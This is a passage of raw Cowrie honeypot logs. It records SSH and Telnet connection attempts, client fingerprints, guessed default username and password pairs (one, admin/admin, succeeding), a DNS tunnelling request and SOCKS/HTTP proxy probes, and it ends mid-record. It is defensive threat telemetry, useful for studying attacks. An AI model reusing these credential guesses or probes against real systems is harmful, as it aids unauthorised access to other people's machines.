{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:44:46.198350Z","src_ip":"87.251.64.176","session":"8520635bf732","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:44:46.484379Z","src_ip":"87.251.64.176","session":"8520635bf732","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:44:46.580653Z","session":"8520635bf732","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:44:46.675972Z","src_ip":"87.251.64.176","session":"8520635bf732","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:44:46.772961Z","src_ip":"87.251.64.176","session":"8520635bf732","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":18.14712643623352,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:45:03.997185Z","src_ip":"45.43.62.77","session":"4ff112f86197","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.43.62.77","src_port":44078,"dst_ip":"10.17.0.5","dst_port":23,"session":"26865ecc60d1","protocol":"telnet","message":"New connection: 45.43.62.77:44078 (10.17.0.5:23) [session: 26865ecc60d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:45:04.079482Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":47142,"dst_ip":"159.203.135.109","dst_port":23,"session":"1efea016b6aa","protocol":"telnet","message":"New connection: 135.148.14.151:47142 (159.203.135.109:23) [session: 1efea016b6aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:45:04.836024Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.80.232.39","src_port":59996,"dst_ip":"10.17.0.5","dst_port":22,"session":"17535dd51a6b","protocol":"ssh","message":"New connection: 117.80.232.39:59996 (10.17.0.5:22) [session: 17535dd51a6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:45:07.700780Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:45:07.705801Z","src_ip":"117.80.232.39","session":"17535dd51a6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:45:07.949981Z","src_ip":"117.80.232.39","session":"17535dd51a6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"gitadmin","message":"login attempt [git/gitadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:45:09.178369Z","src_ip":"117.80.232.39","session":"17535dd51a6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.30071425437927,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:45:09.786821Z","src_ip":"135.148.14.151","session":"20bf7deefd03","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.98150157928467,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:45:19.604859Z","src_ip":"135.148.14.151","session":"b081ba213dec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":18.208832502365112,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:45:22.287997Z","src_ip":"45.43.62.77","session":"26865ecc60d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.43.62.77","src_port":45654,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0ba15d77595","protocol":"telnet","message":"New connection: 45.43.62.77:45654 (10.17.0.5:23) [session: b0ba15d77595]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:45:22.375748Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET / HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:45:22.381512Z","src_ip":"45.43.62.77","session":"b0ba15d77595","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6","password":"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0","message":"login attempt [Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6/User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:45:22.385677Z","src_ip":"45.43.62.77","session":"b0ba15d77595","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.147.249.81","src_port":47170,"dst_ip":"159.203.135.109","dst_port":22,"session":"a52ce5c5d967","protocol":"ssh","message":"New connection: 45.147.249.81:47170 (159.203.135.109:22) [session: a52ce5c5d967]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:45:24.027137Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:45:24.032622Z","src_ip":"45.147.249.81","session":"a52ce5c5d967","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:45:24.106189Z","src_ip":"45.147.249.81","session":"a52ce5c5d967","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty123","message":"login attempt [root/Qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:45:24.428732Z","src_ip":"45.147.249.81","session":"a52ce5c5d967","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:45:25.505029Z","src_ip":"45.147.249.81","session":"a52ce5c5d967","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":57372,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee2655f5a364","protocol":"telnet","message":"New connection: 135.148.14.151:57372 (159.203.135.109:23) [session: ee2655f5a364]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:45:26.451497Z"}
{"eventid":"cowrie.session.closed","duration":18.103614330291748,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:45:40.479268Z","src_ip":"45.43.62.77","session":"b0ba15d77595","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.43.62.77","src_port":39876,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb2d8dba485b","protocol":"telnet","message":"New connection: 45.43.62.77:39876 (10.17.0.5:23) [session: eb2d8dba485b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:45:40.564388Z"}
{"eventid":"cowrie.login.failed","username":"b'\\x05\\x04\\x00\\x01\\x02\\x80\\x05\\x01\\x00\\x03'","password":"github.com\u0000PGET / HTTP/1.0","message":"login attempt [b'\\x05\\x04\\x00\\x01\\x02\\x80\\x05\\x01\\x00\\x03'/github.com\u0000PGET / HTTP/1.0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:45:40.570128Z","src_ip":"45.43.62.77","session":"eb2d8dba485b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.37292504310608,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:45:43.208811Z","src_ip":"135.148.14.151","session":"1efea016b6aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":18.115065336227417,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:45:58.679358Z","src_ip":"45.43.62.77","session":"eb2d8dba485b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.43.62.77","src_port":54590,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd16cce50d79","protocol":"telnet","message":"New connection: 45.43.62.77:54590 (10.17.0.5:23) [session: cd16cce50d79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:45:58.777916Z"}
{"eventid":"cowrie.session.closed","duration":36.59431433677673,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:46:03.045465Z","src_ip":"135.148.14.151","session":"ee2655f5a364","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":18.102815628051758,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:46:16.880595Z","src_ip":"45.43.62.77","session":"cd16cce50d79","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.43.62.77","src_port":33972,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c6402891224","protocol":"telnet","message":"New connection: 45.43.62.77:33972 (10.17.0.5:23) [session: 4c6402891224]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:46:16.965399Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:46:18.503546Z","src_ip":"117.80.232.39","session":"8c08453ba132","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":18.0960214138031,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:46:35.061313Z","src_ip":"45.43.62.77","session":"4c6402891224","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":60876,"dst_ip":"159.203.135.109","dst_port":23,"session":"7809d425bc75","protocol":"telnet","message":"New connection: 135.148.14.151:60876 (159.203.135.109:23) [session: 7809d425bc75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:46:40.249922Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.147.249.81","src_port":38024,"dst_ip":"159.203.135.109","dst_port":22,"session":"f096478a0931","protocol":"ssh","message":"New connection: 45.147.249.81:38024 (159.203.135.109:22) [session: f096478a0931]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:46:45.641659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:46:45.647844Z","src_ip":"45.147.249.81","session":"f096478a0931","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:46:45.721067Z","src_ip":"45.147.249.81","session":"f096478a0931","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sajid","password":"sajid","message":"login attempt [sajid/sajid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:46:46.048560Z","src_ip":"45.147.249.81","session":"f096478a0931","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:46:47.128023Z","src_ip":"45.147.249.81","session":"f096478a0931","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":43764,"dst_ip":"159.203.135.109","dst_port":23,"session":"2fb5f30b39a5","protocol":"telnet","message":"New connection: 135.148.14.151:43764 (159.203.135.109:23) [session: 2fb5f30b39a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:47:01.454580Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:47:07.709229Z","src_ip":"117.80.232.39","session":"17535dd51a6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":47986,"dst_ip":"10.17.0.5","dst_port":22,"session":"5cfc52c308d5","protocol":"ssh","message":"New connection: 37.233.85.71:47986 (10.17.0.5:22) [session: 5cfc52c308d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:47:11.366802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:47:11.371576Z","src_ip":"37.233.85.71","session":"5cfc52c308d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:47:11.476041Z","src_ip":"37.233.85.71","session":"5cfc52c308d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"thailand","message":"login attempt [root/thailand] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:47:11.788134Z","src_ip":"37.233.85.71","session":"5cfc52c308d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:47:12.894789Z","src_ip":"37.233.85.71","session":"5cfc52c308d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.91073203086853,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:47:15.160516Z","src_ip":"135.148.14.151","session":"7809d425bc75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":53110,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff36378c7d2f","protocol":"telnet","message":"New connection: 135.148.14.151:53110 (159.203.135.109:23) [session: ff36378c7d2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:47:21.394469Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":41724,"dst_ip":"159.203.135.109","dst_port":22,"session":"2bb0a2a0e1b0","protocol":"ssh","message":"New connection: 193.228.128.84:41724 (159.203.135.109:22) [session: 2bb0a2a0e1b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:47:24.837898Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:47:24.848865Z","src_ip":"193.228.128.84","session":"2bb0a2a0e1b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"e